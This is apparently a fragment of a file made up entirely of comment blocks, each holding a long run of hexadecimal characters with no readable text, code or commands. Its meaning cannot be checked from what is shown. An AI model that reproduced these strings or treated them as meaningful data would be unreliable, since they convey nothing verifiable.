252d26f34d3f31564b78de524c32e5702970e29a107673e9736fc926424946c989851cd1c6f14891edd7631716c1cbdcc1c030e604cb70c5483d67e631f760c0e00f534f0abc93185e4d3443e7fd1e913c1cfc3bfe1070f5d272f52eb80c34d8aba214321aa2eade3c3021172941a2536cc70f920440743f8c0a9e8dbccd0e892e020c024712e1d66f7c01ef3171bead4fd92772df38745fd8d712e65f65db587b33edbc066c305a5b3e6a6e0530ae2428360d4ac4f3515244e9a2ff7d828b49fc2c5569877644d57808313e662057eed51eb9def72b42a2cd786262af3918e595d40a9f0ce50f4c960d84e034a369a51a3e9598f3f5e440eec52894c95b299c7cb0b0ec7af5cc33b1ee6163f4f8a4b3137e50c1dcb9b611f664f818ddf385be0cd8cfe661b18276d9f23c8cabb960e4c04282d139ca851e61635344a20253b68a88b768310dbd6ed77e92f3bab1c1126da2def30d8ad67b3b77df684b1b5c99ef10085a00f69294bdfba1836a2610396272d8863fbd952be2c8028fea2c0a0bab9fa5282a2dae203cf69bb9e0c0c84549cb5b9536224e9c11d4c6f5397909494b63a9c77b59253853a9f6f8e86a76ca4943c67ca77297033624892c7afb0be025833fb8a14e1adf68539a7a426689084c7cc7ddbf96e0440cc0ad623d052994e9ac7a191abee934bd777a346ae6c77d7acaa631c26c7b815d7fe0b*/
/*ff76523e3f4f12ee2206585c20d5bcc384197d8e6e7dc63f24b26c7bcdf92a833ded040e400ec8a08be9e6f1bd48524ba16686efccdfe45486317ef0fa0d055ffad2e9177a367fcd25081bb01a88f5666f586dd8f78069dedebfba7c5fc9f15a8b82e6327a39b0464e2c8790e6dba29dd6341881ee6f99deee3a812cb7d875bdb37e1013d4ee7afb34c8692a569c4c714d7ca859687e8e5a923e51c48e65a7b552006fa026dff147bedc3bedc681e685f666d58753b23f3cc57bbb6a2464d8d3e5d6c4f65c5f8e99818f4a11853a088f08771e84e77e6458442983a5811bc1d83dbe7dbf394946e0c4a5696f830bb694de447ebd083c198d6803d779fab1066dfc695552f8515d257cbccf9a939d727e8ac8a9187f0157a34280bc24480411aa614f9fac7791793c39460c6a2bc4333124a09374f08ff4ad1938c45461b3bfeed7d5db79a0e8a006a0d1555aa7c00d2fc99c17984c9858499cff332fc0ced0b206f2b0e1149d3d7419cca135a2d4054dd8ab5bc57c18c9863275cbbac9065f0a6b70cff3e6e1f83ace216c5d670b67ced1dab0cd62fdff0842c75733e04673f0791ae4f0bdd3dd86ed5c1d73fa0feb03ba487f8e8f188a06f51d72cb461661c323d3bf97636cac2c6953246b7b2e895fab87f3291cc53bcbb7f8f1428eda8b231e5048c2f8696cb431b0d969b449e4ef64b3724e7aac7a3907efdd77c8698f8c624e68da1bba5c953860c93636b6070acb71205b7100834b91e9bc8bf075d3c3370fbe8226ea6a8d33bb44477256d6082f6f1706a30506a32787c2ecd4f70a202776a53bc0ca1411cee4d544a99d48d02ccc9af89aab927a6cf598645711a4ce0f6fc875a3e2af84243741f8af0fe4f21b517bd9ff0bc44edc58322d3b167ed869ab4eb64c6f337c57d70f3502f3cdc6f1fd98452975eb4984c72587e5516a855f991e7ce43c95d0e3e12519ca6cad85ec95cf50f9948b35b9600f53ca19b0412ffc88645db941867b7d8207b76f8a7bebf0ed4b962f7c1c9b3ce81743be03fe586c4496df8d6ccc599fb7b84dcb71839ad9e45d4d7e0c927c265e39a6d1a9fc0b386dd84f1cbce5d466e63e0933c6438c34c7e140c5152f8e4f83b79a78252969da2f69027f1475803206fd8ca2fa268a8bb138ef2677e965511b85818b725f8b09d47980502e212ec68796b658019a103b8ee7fe936a21cf309bc843469d91cb8894ad59a19f5147c0e0aadf8cfac8d4c2e571e5cd5456e68843238b6cbf11472ce556dd89c093327d3eb97f6467acdcb439ee73089630a1c3b5d27b90e95f7b4018c7ef2061f390dc6a831941e5894b00aeaad8cec42a602a16880a962f4643c8762f94bf41e79fb1576a967da21e9f033b809a7f4b08ff0ca85460d4d21b1a09e5d7dbc9de4513f37292127bb09be70331f753aa9122f64ed6a9e29179a09569c81ae0289c7ac5111a2359de06d4bd2e9c2622e5d5dd00f1835fe206a5cfd230f6847d5ca45150cce23bdd05421fbd957ce257d0b249a8980171d1cca356e1ed70899520c04588f082aa75bfc7bd24803b8d07fb0c0fd17eb6ace785ca88f3f8d47d6375ca22c821f4b07c39668b701653478f4c01e155e6a29dfb81f9786c7052cbd1e144e1667e8a645fe15997975615deb3e5cdcc523b1e2ac5cd1d7fedd7a245c3c1e807b06fcbf59f12996437312318ca5b21a617377ff38b1c1f70bbb608e8282f1652b04edc688f2342fa28d652df853cacff30fef73d1c1ed2b5d9c7c34c6017f4e018a6e6f721fcba5f4172cda1c981436c1aa5d34d102f4239146e20535fe86958093b7f98265d3769beb6ad9546f7b0a93a11a0ea31b4fe8cf300610d588249ffb16db52a9993a415819b5e863fb775789f314d779c40d33f19bfadbb0472782f04034d811b261fcc2744c3fa99c35de1df48a4c13f332361b8498d41e07a79c9a0630b2aff01ecd1083a4993e249dd41562f2c06403d78ec6a8bd5b70cb1de21f2ea5fd525d97135f21a82674ea76ca6ab197f1595d14eeda4825e34f71475b807a9012f2fac2d51a55758ec770ff9215c68da780608757c2bc086b3a41b3966e103cebb439a971f15939051a92f2b0c30190b96d8c5bd83c6233cb5b349168030c27212dae3556807ae456c1a1a5289b0e5d42e2381cc3f93c535e1076a76cc1fe9d89f90ce41c9f7e5109877f643ad48291beef60513aafe3a9f8f9dc8ad99fc38a28f5af6091cde840028895c8d9d57d37f0ed963783d86230708835516c091fcce45872e6026c2b0b66d2dcc8241072c02b15b16a41c0a2bf95c477726295a62a5ab1097334f11e84ed12bd75875cf96c43ac7d398006da85b8cabc4810ce1a1dde73f5a71b7861524d7acfae2ff5fcdf1592238a71f2c2d33b83eef763578408be21f4831ecb89f3885ff7c894290d31a1f4f551525f446e6ef24c78abebb87238b67a058268521999b8d7599226200c207a7c638d0eea377a8d30c2c06c99e32789eac740899af01b8bbacb7ad94fba451bb85eaf6ef1ab5969668d165052d81949fbd9a9b9f0c3a3678ecf1b435029afbf014f071d053cc1630a63cbbb434251be2c4d4bd1d05d1c69c256766dcca704962b973cab6072f20b9f930d5d0f154d463f46bd424e2e0241ce1d24bd68e8fe849ec7aed2a099528e0fa6ad7d78288d1ee9bf6af7c4bbc58d94ef52ed3f1564a561275ef3ce2aa4718a16b77f369a04135dc300f30a7f7520e3fbea176484ba824f1ba3c155129e596e2e69ea9c833c5c4f9e7631ed5b604c27856009f318d94ccb56cba54a0c2456451b006e81d3d9e123b26e8*/
/*b9d59cb6cd265f62b24fede4fb1084fd7d57f7f9b0fe2d5754fd6b85f4940cd887ba48743f2a55cbfb5db445c713b3f29a0e999b212e301bb3406ab245996e6d6cd6833fb2d19647215e102c9ee47f543153a06d2527b5063fc292a5d1d38a04e7b13d6648552385ad9c9b5c0859e4c586ee3357de9d491172b7eca2c61fe64d68f314ef4f763eb1293ce9321b922bcf8b81a1f740bd99611e7fbed52209578d7f346c80f312a5ac78865650296160d2bcd1ed626a1dddda7e80ee99bd63391add9d4f785a24ab272037c232ba280d47578a7d216b97886139e49ec0659e3573cd9443f625f06656412edf03d2f0b9eef36658a6e01ee05853db9c29653ff68a31a5d2f6ed8fad8bdc04f03f855871bee5ab868f1b57ff13d745d5ee26ce83727dc8e8ca7bdcdc0976a73d73ed4ecd27d3ba7813e288e74f84ca09ccf9b624cb371733cdffb27c023e2bda954952770b5750182c509242587cd641f5706a24a6fbb44c076bc23ad2821bb3efc54601fccbc9c9056fbfb12711581963246bf2295df7aec1e4981d0605c66925ada142682f9033209864343c82d46432c3d7f6c879e219c5ee24a044fb6538b286a4c406f4c7c4f3cbfb127d225aa4dc14e530e3b713c13611d36def364fb03781b7baa9b2f9c4e498de31155a3a370ee9acb41c87034eac183e6c170411e5eda311cd5262d3b7d4e59c7c7b09c15fbcc06db3c82af17250f3e8b47ad400d24436aabef9ada37c19098cca7fdba0c18bf709fbdc2d32f5d3fb7c58b7c22eda126836c9a71116c60944d18dc618df559785dcd41252af1e99189573b7f5b046e529f68e35179b7c11dc6aaa2124838a279c4577fe6d80221a40b82276109e6e2614b19cf71ecd67ac7e5202874823e47047fe5f1f3c3d016fd3bc106bf466fe81f6a5a9ff9c0e3a433ff1164f059a547916f14a09c040def1224bba099e1cd90996daf6c523e66da9989e1639cddfd8e7734deb05a422f6aeeeb7b3c45e87775ba245963c0aec66c9a77d0ca6890088e13ef12e0cce779f50f23487ccb1390e5500d6eca4938a2d356d5f3d1d2078fd02c17f62fac5977c88e66dde85e5f879d95941c6c642cf3146d5d37d95d9ca0db1276358cf8eeae0d12f0becfc0a5e5fd5ef621234e4714a085f9243e219f1eb6993c9f89c4eedc1fb27d5135b1e03d2dcd002ca7cb820bdf0b3df56560b6b2483f1c516583ed11bfc0d76da7ac5ced17a4303760b367edb02762c9330725169ba6ddaf0ed1f5b0d5be06f75307eada21770a5c227b7393256a6b3296d692a77da8f0ccd5e651d592c581c0855beef9482d384b7b15b4f459da5cc806181521a3dc10a5186840b2f752d995d291add5464da04d66e97286f86a6d0cc0d9cccdd05ba690abe49f21f666741ff5473151e3cd41df1d296203e4a31f4165075f744f569316069c0c48e5f63f9cd72396040353153c3d718ce3f2b3b7d8fdbc17258fc1a647b068df8b3e9f1bdcde1490ad8dbbb113b680b59ff2a1507c00256d4a470ba8fae312bb31f046c1f53f32eb79c76007fdd03ae3a37cf3b5701cc56fdd899641858e3067c63bece9bda4062563ab6574d5c5d3b3ab5da1754484c5ee2309a856424d6768f24ed8a5e1c76391684f851969afcf054892ea04cf610a3d75ece8e5bfca998d10c3247318cca3ccde279038e8b80a150a377834bc371dba883c995e31bd2d1e8bd3835b346c60966d6353b9369d2c6a99134ac5d8af6aa0876925074c2291e709281039d7ab9f5c175da0a9ec3b31af284598b19f4e9828ba1a9f80f54336befb643da073f0da95db16d13a217a62a566b5aff7a4f56ca2055e8af82ef25c8085810a42d845a1de2555b15eaf1b0b89b3e7676415b6fc1edff8a828603a6c13bb541a6617eebc93dccaf3a02fc007d25f0bbbd7167af5cf020ac05da650090e97be8521084db094a8d67fb43cefcbcbd37026dde6277b54f3f93be05f04b9e386b65f447aacdaa989128caf1d3bf3d9ba6de564c1c848b4d0cd6ede047cc1fbe9d72e0d1ff88f570e8888b6ffd2a561d5dfe50a82aed4b2f1e1e892396f3be9576fae0092edffe73c431889a2e4832ec938f6d28b37fc84d9036d79e7ae7bec1c90b1be48c5d3d607f5119a6a399664c00e96b7e7b1fa7ec5790d5d902a3b1aef5e716a92e4d3301189b643c36be1d4b97edf33b958fac536f7e2aaaef7c4f1d36c590e8b686e2a8599b58818ff0cb880319f56c57ec0abd82bb8a6a57124eb1355fb2fd3f9d12323ddebacf3baf65da1507b088e2eb75ee42ac256bab41e236c59d3a782358870626236a674e76f869934556e00e3921571ec5d9238348485ed20454116652eb2c964e8b10fc7b7fc980b29e0bf40f6a1329f51a23b2bc3c4e3a2d7298c7b143e804949934cb9491437def80117152a89798fc9dcd3ba37a7fdfdbfcd4db45449561077dbc90b69ddd7354253bc3240a0c0912217ee52e1749865311002710493bc5042c0cde9537dc5fef0795c220e6e173c93b758b08c097c5f9672ac39da0ff46547eefd60784352c5a0e13d7eb1151d46e6e3a3ecc16dee8568a76f038798173d354340dbbc49d456ab65eee293ca3b58f27066804f6b76bcad03177c172526a342eb37b3a221fcb7f4b38c30bc826923a1d9d890d88b14fb1ce9fb546a5890e27745b0e250b28755e6d8a1e91914cfb7fe90c95dee144604a2b7b5117edff61e5653f213c0be9f3c2920d61945f0a5f80cb33b2f09c1d00fa29a927f03c044ac3a30063eb7b59c6236cf387dda530fb11e3f8b016a415b91c829dd44ddaada24189ed1c1b*/
/*03586b7e63ef064914be7ccf6339d8cffbd8d63b0d19f64744de3bcd356ccc6f99b55f65e2bc096faeddfd5fc9b7c0f205a71810b789303b114cf6f0bcb7ea66cbcd89965114eef8786fd1a0e41c32025e5d5551fe29c9e91cc48064b41d7b38cdb62c85f5189f7d676943408ab85de14540bf789ce5802fd1d8d7ff8ca89091b55902066f5b2deea54f582ed4ad2db42233a066d8b9008780d5bf9f32accbd9dc69605cd55cc706f0cdfaf7288ed1d5836d1d3bf4e5112e6b528e5cfb7cf052cf38d2313d79df7f78fc1f24081c07f28acd989da0ad3c0a3e2ca23894f0e91e42ef1205d4ec2b9b1123ce2f334ff310aae8c4f2c481242627e5df24be11736b6f2eebfe72113b369af2a0a990c375573bf8acd24afda52bed042d2a6e0fb62baaac33a81841e43e2d72b1ab87d7ab61231f010f0a1ade217b6166570ab31ea9e7f8db9240a69a84f3ee25b7a14890bbafd8d32d148ce6f44c9e0995cd925b03c3a986893a25a254cb65b5adc0ae82f7bb3c4bad44c791b92cc2019c456e6b28f202bf7bffd7ffb04dfa073b8797df76c4f2b4184e84eeb0623a13f499c5d42f9e4e1ecf50c73842e608731e07e33c73b3939d1e7675526b43f5a77b9e4a224d051f4b088975a25a4d10b0cfd26079fdfe292f80097149ec02f7022dde76c0b37d31649ccf7717541798c95c907f3f0e95d8616ccf2f51a57bd3be16d75563da53ccea0824f56a2869cd2bc2c8f9450f3fd40635b2b97bd887a7fdf46c1ad0f9661131b45b42b514b7d7e637f80a5d85b5d8106650243d12bcf4383ce81f673ed5a387184f92421a05e60bd9dd0ed1efccd2cc0286d4df1ffe686f8cae3ad4386eb36998a786b201daf5ed3b0682d93aa2b09a9af4f31871d933d8e1b55f7cf171cc1b9893eed3e3cf8a9df7f7bf09e52702a3a9b69bdebf3b6a421fa9a9ca5cfd21e7a5a75386750b6eb52a3c32a1ee7ec3789db0d47e8fe01dc5031f7a0b0cc364adf083e633aed5d48470c8521c6b629edf38ffad0c2ce29ee3752deb05dbeb8a6af4a798abd2082adcc99a03300c119617d3590945170dc1afa7a7ae92c716a154c122de52f74f70baa2c73c5d8581697531e27326e798bcb34a60e9ffd753706cab60de0dcb95c92b56aa42decaa4d95680159fa3b815396b57dfed8f1fa50eb9af156f3ed5783c3eac078ad9990889c3923281b9a8685464056b81c2f9607461c2dfe33883b4a445936aed20f8afba451c5f1adece86f1f202b989a16d46985612287d0a8fd6f8de809e69011f815f1ac6cf0c4a8b36eed761a243ad41a3b097aad314ee111f22951a0c6ef71102237a001026378d152c9912daf681051334761b494881367ff4835886945da9df714dff74ac820215345a5cc572f4fd7c34ed8d1e811c9a905c63ecd4b7ea1b61687d179e75a9c0ae24efbccf77c3c5eccb2bf91ea2f213fc103abf8da1a5b91ae269cd2b95403c2e6f915c54001c7d5507fd55ce1dfd68077031b3bc8a2918b5828d4886f0eff8d466544b78e214563834ad92af021723072d9b6cf594b5fdb26e4ad32cfe20594c35f05547406001a516c96fb28a5fef050e4bd66b1bd34a31ef18fee1a9e9fba404920b4bad04a4ff60726a4ced70551b9771a8c700d834bacf090cf94ec897e878b4988d55cd3ba1f84c59848f617d166e4488e04688ca5086138b5555577f814936234a086995b0d324e11626c6026be8662983f5d63d8c6080be96a991c25e4cc59bfa46c621c8da215968d0b61505746c4d7c06feca0a6e86f853059742566ceccfbb5574c406960631115538027a198e55a5834b872e710ed803b068fb0f50f854a356a5d75e05a93e40112378a8f130750161676e94927ce58530d6400c6956d6060f0acbe63659889bb5fc06589dcb36c37119e8c73fe19b4652faf31a7098ed63cfa881a5bce647aba1d2695ded1b7b4baf797635083279edf03461b55343db45009437ad647baea57ed5bfacc4c8c311c10e4627331e60359f9d9fda6d862df72735ee318f9f92a4b1b40e73653658f2d6c7d3bd6c5511fbaaa29ac698c1791437e92ca29f11289f7a57a976a3ebb9f10bbb961985f35b51eaf0629ffdbe36c7cb0ad236dfdfc7e94de4c3b42a37b6d7c2819f21bd5e145cb5258ecd36ec35a39ac8e7037bf0d1581b78ffa0ff26217549024d4205fde90836f7a960460088c275bb0347a48fd9dc3030a066cad7653f5ab141a60c4882277d09dc1ac7822a8134e7f430c17d5abf02841ff1adb8afba726f592749e897991318f01e442e1fc39ce5ca684ddae41be1d3ec929f5b411fbb0c91d83b5a30684faef58f6a9e440d99e468a096dfbba2ad673607164d0c504cba239f06659b770a626b1d9616c7a10d739a41e0e9e4b125892002bf3c0813fb5edecc463deb6d0283df804a37a522377732c9455eb1cb1703969fcc14238b92960c3faafe52441ef2421c66347589705474ef30d2d3bcb3e13614cf5cbd244f31add9d70d9feabddd0effaf3f6c32f5acee31fddbefa994b1fe6af4f55fd793618ae3a19e2e2656f44085c08afa097aac86b3fa5c48806a668ee1aeb9ceee8995d6b11024f3e87f4812e866eaf8fe3558a16b9168ae35f7b494a562dffdf74e310a33a4cec8705202e2da9962f2d4405ff94cddafdbe058640696b8a6ab0f5088aca097f4aa519a06599c927aa45b97d84635e5e32351a98e7e6d15808383847ee76a19ebc0303a387dbb27767dc1816a8c9dc08756380aae4d933a81f7a22b59a342480731c1d5d64e0249c0c0bbac8beb5e4f48792865af7f874f8e297b756eec*/
/*05decb535be9d7eed75a30c4d8cbc0f75e8ca52acab1dc191768bf99e1873c68955f3e963cce83b764ebaf7353bbcdce11f34259fd675dc65fa0ac58e2c377cdffb52eae6aa9cd8c4a83bf4246eab859175d3859250fcbd8dd870d5fef5f3d0d6fb0108a7ca0fa70de7eef01a376c3e25e8fb952d9b14af6d648320d4663a87346493d4012b1912dac057094b3eb0daf3179e1ec789c31bbd84061f551812461c39fe18b4d78286b544e967d32d97c33b204f63ac6b27cbb8ff5d89dda41f200a4c96875b1f41d1754bd9c86aa3a47506c974d1fe8f1c0d1d9929f25c7eca03a4c7b8769268cc35da844525e08ea2e2586a462c324d40182482d8b638e67ec209e356b68cfb1357b4ff02466dd82fab4c1964065f0a0f75c8fa9836345c6a44416d6801ba2a632a95770cf73811190a0ff5353e2b2a946e7830a02302508943a7d665da5f498f1268ffe9f7635f605f485c3b9ee0e3510219a8acc75261556ac3b2c9ad891ad8fdd7e2764b2abd14a6bcd1680df47427ecd914767a67fc07d13584a6362fb2701721be61fabc8a5e321e8b5a720f69a0ec8077297adc0d3c0bf1c4f2bfc3cca54ec4e8dd2770e76af2c252cc71675a1e392a18a7507d1bc8637e573bb6c1d2a529dc0fb406e1b80b9e3533efdcbf485bd130c755a6db2db157328beed926012620b146ec9f4f6fc5fb47d755a5ea5ab4c16bb6051f6f6a32f9d2f28e630b59f49c55ffe2f07f6bc368ac5d21ead90182da3e4628699ff6cb480fa3a9dad86142f9c3eec14b224e68eb15dc38dcf71abdc3979e89e819571ad6d32227dae478e6124f7f5adc0cc1ea7060f6b9337c177f4ad69f628224fdd11a458a4ea6a95124db1f12686fc5367863e9a6760e580cea3043a4cda88fc292b6fe2cfcb589e62252e0b14bf6b02bd250285ea745bed37c83fbad0778aa74762c147bf8227a6eace81cc65f3c927f3b1b725fc3bb60b2e54c7230d92c17b7f2bde218e0dd011dcc713fa170acd5b499ec9b29913ea444d43b3d014ca372bdff695f7c9d8acbd6b28208c14b926c12b795addaca0aae1dc060b832afcba05fecea393dce2046a70e5d3816b917c1391cae5adf8583f40f93c9a34c4bf9b806c2530fd845a57a82d4082b9c651170fca148102a80e8cf8aa0c90ed32ea0851cf6b7d7c0e3340923c0e1a49801ab9f1fbe6ea0a62e3a3b6af5b27c438c5910a8aef0ac951cda38f616471bd2df2d1c2d015e070798efce06c1840c8d0b0e88088cde09711b3994fef01962c45b01d288f03fdfab4d913d92dbdd3b110516d64563b33f072575609d3fa87fa958c5c5f54737261cbce30ed5a24466400482cc88f8e236ff16c241ce0a7cecf7b8c0bb623bbcba625df122143d0a0ec4320a6ace0720fc72aa69cc020a9f0a8d5b888aa35cadbf2313f69d7f31afa060e98bb30bc4c65e38e175007e90ab142598aa4fc8036a3cb75b0404d835a2f8197a51d3132675482981c95213f547dadafdc8cdd8410ba0eb66d5ec27923528ff76c613a2e81b624babccf256dcf1a6d456fb91f393681f139b17cd3adf49f50743dcbc907520bbdaa5b6f22195f842bd55dce7346704d15d035fd71104ec4a93734d3b345e811b69a595a4844627c08a04e3d1c532323ebd38b476affdc9b285ad0b9f38e5ff244ef7ced356bcd15372e9d2e6bf7eed54bb25c191e61653e08481c6635bf07328dc6b9d5a4804ab763029760ba913a7494e2676dfe90b9ed1c9245e62d2b3292d1a3ce0ae891ce525c437f0ef15c3d9d17ce421a6d4241da91c338420ef871034b936d634509ad2b9c6500bccc2401407160bc32b77df6167451a4a83010e6bb8b30737b6efeb6f8fae079699943b7a7fb10ace301032973cc37f7a3e18b3045d8b2947cded57db5e8f53158ba557112447bad6c5d1ba1b47a3a4537c3c4426212d7dd1d755ee0be6b847088a6d306d0a63b49f05fc75e216c9744f8a94b733ec2fcd93166afdc9c42551f71d5279f936b687e43b155719a5808e692b8388235a55382d782caf7d80b0a7e4f2a233321d6c53b275985725cf7433f2090d7408325307250bc4abcbca8ea4a9d3499437a261e00e550091c1e30051c7e9a2d148b73b5a8f20feaeb62e611dcc3698f5880807bfd4e321c5a9a69f8144bcd38133b843dfa0669f7f6c0f040a7af1a62f097cd25f1bad30ad6e0c981337e6f80866575735317d72fa591a0b97f135063713c3e970ee9e2a771c429881038075aa4861cb1e883898040fa798fbfa66d4764a8daf072e6e1c5aeaeff73bce7056e409c0f6579e36b806986990f124199811c0b02d0750ae1727e60513af67e1b2f2997fd5f9b06f1a91dbaa75d1d127da3d7595b24cdc3df65a4115e0f30bbd0d6848c09c8f299f6bbeb8f6f50504e71674f8e1b57024dc289bb1ff317e667cafd577815e5d5aac6e4c7726cf2c0d77772449fd42ea98351783d7694080ff3aa6ce712d87dfe58d55f2b560586af103a24238e97a203776d7b6976ffb9f71ca8b036d755d167f03855d1e6d2c960525d0280ed93e1d18bced0a2abe49fb9e22a632327e6a0f9e8092738cdb2df47be84e0ff412605f9ad7cbc21f4884eee4b9c6392b8a8cc2f1e4d53926da1be7ebfbba561d45bd80b780d9c1e8d6ae570e2da46cf60c2e33de4f2f69c9be7ce4fb9999656ded266914ae4e62651f0669b0cbd74d74cac4f1b4056577fa896393cdbb3d2401fd8d85d67e9b274f02a9f132100cc35e508b3fa0759e395212345953d04db4a6ea3e06877b6a6e743b70e0f1e0f801a482527a97e0d1bac4229134cf9c28f1c32*/
/*6e74b447d4ff48f73ee1b705296e1febb04c12e9bcb5098ef044b38ecafaf3b784e6fdc53fc6378b214006a2721b8efccea2e43910dcab34cf5ac8748e1c5bbee7df470a3cd5c0b97dfe59cf4152633977cd986666c8ff429e2da7513c73a44cfd150ff93eb95ee6857bd97be337fe2059a86da3af352ce823793522cdba098dfa52e6d7df4af0b709b64fa6603bca253b1a83fbd25f2aa267b996ce2def638f9a9c3b375d392371790ea16cf38da52db73674a18cc927d7fba8a3f9c7c243a51661e44e05c9764df78c295a10fbf868b1a17b63405a205709d3c570221d5154633a04340c1da59c9dcb3f3b1bd7db6b086d527c4d559903f07cdc2a55819882c2fd3773375a0c36d37c71b2dbc088fb4b9205eee51f231ae43d63aa8aa02a83a12bb78a54be88a1ae82d03addfc18710fcae49a6124a9282af2e67929444bbf882b99eb3132d272118989cf34ca453ca394084dd11b6cfb10b127d42ead644dfd6700481b57e86e1ef35e9c92c74d4d9e5d7b5360564fbc5b0d8c8784ece32e8621a6c033b9f504afffdc3fad68f6fd9ed62139570cd6672cad1e375c40104ee27b706abe2a8f7eec7345e77ced230e0bfbf6fd42a85cd4c99d6a2e7241c1397c031532365d05abbfc0d9582ea668a1eecffc6e1e06bed8a8b6210ec99c043add14239f1f1acafec7a23d21e0fed25c99e3a2c749d3eb4a1db2ebca254c1d2e5ee921d59bc03882c428ca4e643dc1257d4eb02cd6f4b65e021394113f599f1a97ecf1336290d3ba3a2b3bb3dd9f2b81cecf599ab5b6a02cd294092454a59606071067f9a563b87d63211aa00c37ff2905b86a516fdbf65a68852f3e91a1e5e3ce48027c0ee40704ad644229b43205f633a38b7567c2f78acd7e35ad320b6fb4da401f5a9c489bdd3d3a3655c99518f38072b3fa805a8e3848a283715a61f91dc5b7a9cea140788e0d8de0f9866ff77ae375bfd390685988ac32e92c0abaaae8b2a8981c55a5baddeaf7a1fbf23c1eaeb00684db1a1e67ac51b10f3d05c2dc2603cc64254f3338723062836824a793cb8d6a9e487aa0769f7adde4cb625bfa9855dcf6561885a0a02dadd4f9deb9f23138f14644d7147375955387e34658a3565a0230ec0edfedeba236a42dc2eb48f5fb8759c9662bb28a5f22cb293e5049a4ad02ce6cdf4a1569e0f352cbabd1ab2c1769525bd28583421da5dc07a86eff8b9b997b98f80a7a7fc401dc2a49501dcff6c923e2ff75a0381d0c3b897e601955c3f1ecd085d21613630e3a41c8090f9d8c972ba1069bd0cd86aa6f5378bd945fd4d24209a4090cdea716af0511ce5f05f6da5cb3f5974938b8e76fb596f3793d48831bb73361c43f94aa9ada0976d8924773a95b8d25d9e686e6199aada78d76df70e4ba3e377f917dd43c2f96c898445c80f1e2203acaa8b6484dee0e3990e7eb149db3720ab0a1a43c594080f56eac8168a668885c03a9ca7121667a333ce0a414b87119e3b68b09a1db555d051fe623e8a5cf7eb5fa8e2c63488aa0bcf7b9b863e60cb6be68e62563ffcc81e41f7e27a4d1f2f81891da9e9a4d9ad97c45ca7491a67208354474a6952ae13e13ef28ee164f9dfe0508b880d1ba3e8ae3f56728e5a7b83995a2d517b54bafc014c2186989fff01b40eb2eef889c77b47697848025cfeb6ad06520e658da3bd9a1eb174e88f8594897932103abf7f8138a090385f3301d83675871af8031f532b3b947bb61fc46464c845fa5b167bb7f59e1882ccb766624748b120bae6499c0395ab3d170e7beb815f158cb5ba52167cd6887ec3aa69536f89d2dcfd30c7082f69218b0d531a1d18983ede271b6b51fa856b4eeb2f3d352a04f9f1ea3d5c4002225793e998027e76bcf1f9d48b7e721fac3edc718cd04633c0bb42dd7dbe4b09d379dc547617caae4876ab7eeb07f00a25ca5f80ec5fa3bc45be47fd8e093084a912b46c1237b2e3e464655083274b6ea09493a74385f8bd7ead7c3d435780cd5c599279367a62ec6367d009d5790107a97a91343db979979e67379e0cf4b078eb5eb858a8573e157f1a296e18004ec54878b854c195cfa7032d1b072d1d95b381ece04190d0de06e714370e957524c26aa204538bcd08210985c31954b8534a327386c6ba53dd078d8a2293861bdea99c5fcc16b6b76bd69727cc9b0f5a194db061db9a36485bd23f8aa78a230b87de929065baff9de494dd93fc8986d28456b25719606208b57d295e515d95fb268d3522ba7e6fdf04ee74756441ff07fb50a4c578c1fec237c2e4c46adf1cbf59dd889a4a8f27389c76edeaee57ae1d713d250cd85efce8ed5aef09c287457df0c7ea705c5730d6c44a9734b3825125966bdef52f739a1e4a9d4c3d9a2b728ef4360932355d9934b5a24cda142c88c9f779bce025122daa1ff7bd65d5280c999533a059883b00c22a37f0bc5ae24d5a11cf130fd028ac177b66c3b77813579f74ffb34a170b7ce483eccd0d1fc63ed9bcc82d922bab8202b3056ec92729fce341e22fddeec64947d2ea2900ce4172dfa1d789b1286f59ff51d484d4a0e326eff9448bee4498f6c1514439fe74fe56b0109e9186da79dbe14c872d939b69c5941557330f16f27256d45b0c761affe6d5db7685cb3e39a93e5790b466d4d31dc9cfa836e50772532d5a4a9bba576278c49028c7ca977d1a15537d53550db28344c8c2714e14e8e2244dbb73e9cda69b1cd030f68c1b14b25eea9a013e7ade8af0799112675e8a82dbb627d8f43ee100d0b68c846ec0c705b5215555eea71c578fea4d6c31f392fb1676da9d212183003cb83ff9b15*/
/*112e886aa5a832abe90d0db78a55977bdb23b3f2615ada771bb006159f01664091e1b0a0bb7dfead08577e741a6e2881fd031c5962f6e6505104fd67709368b539ed20f3c5dda9c338c6082f86ad3b80bbac1fa8d634bbe3e149acff296ca1689d33575eddd5e14e04ea60d2c6c34f89add147647611801e530cfb153d74022bc66aeda9977fd1ac48cf210b097ba05fd6d5bfe1fcf5a3aba3575957661902cd6d56db63fb941ac699a8b7571b6b196548131750a695b17dd9c6294ba6770871cfa5f50b14e037058d54c8ac12472716f0c646e2f555711f320e1c34431cfe172d8e224aed8748a9c20d4e475a37ed15bf639371149aeba3d98e957edfe1457d922bbb44997b5d3614de047cc63ec8bc455f5d802a8db769c0953f760461dca62025b2b7c45415bb03c1eaa6f28a29662f256d3c6d024311cb123e25b77c59e32cd712515763a7908cf151523242194ae452f91c55cc24f8efe92bcfaa1109455c1101922ded5c8113045b01800e7903f02446454cb2dff8590b5d893ef26abdd0c08e0571be5d106d1579629719e56d93d79b4e87d05523c1fcfa6186a8cf8e3456692aedaec86313837902939ff4f93a30b23579d6166b09e9daa8d4ed767d42006d471f6c73e766d0d142866c114d19b7b3b49ba4cb3d20b9aff3771967fe42cedbdc202b102e9d5920807e412eef550db837896023c6132ba62f5328f084e8d2ebf980d3e3c8b646652a266a8e3552ae38c638f42dfcc15daeb910d503d4e11f5787929b5c3cb9d6ec34d48b50f109965f09b8df4ae47409153a768bc24a360275c03bc5285534c0991912ab3ee29f87f4943a6cc523eb0d9866f429fd57934804148afec228d6b65ba5210ff19e6c2e29512b23dbd6282023f41a8cda6d9feedfcf15770363ff12984fac243d4f33c3b6fa85677e8d49d95fe3d1b776020680862fc56bdc628193834b7459ca52e92861e3c778fded0451a6798c887c355c931dc80cda2d98f140c79e8cc79ac8d4432f0f26d1cfddf61c6fc468ea978e0d5a2bb75b9311706b2a909081c529ddd38daae8269eb03ee690184b9ab378f2e24d6480d7f3022e8d9ce1efb98007b567da56e8141735853ee1f969db29f6dc8e85c78e8a94f3b4f67f7f104d467571a7dc0a7b361d98a1b2090595901aae0d39263bc3022b9cfd201b4e5522472526e13c1c20b1fdaf94f05330ea1fc28e345c53052f61c0a906da849ca4af161b77f0d006d5e728616e1f4d0e03df22c39965a5db6dfe5e8d3e4d134be16304098280eff17ed8d7f9664ff31c236a0d01500c2177551d485b5c34bc28ed8e52fc1af7678c600bbe1d2b0ee8de78c652029c77b129839c729009310c78ac9d02cd49e33aa49667c59df47bc97ae97348b4e3f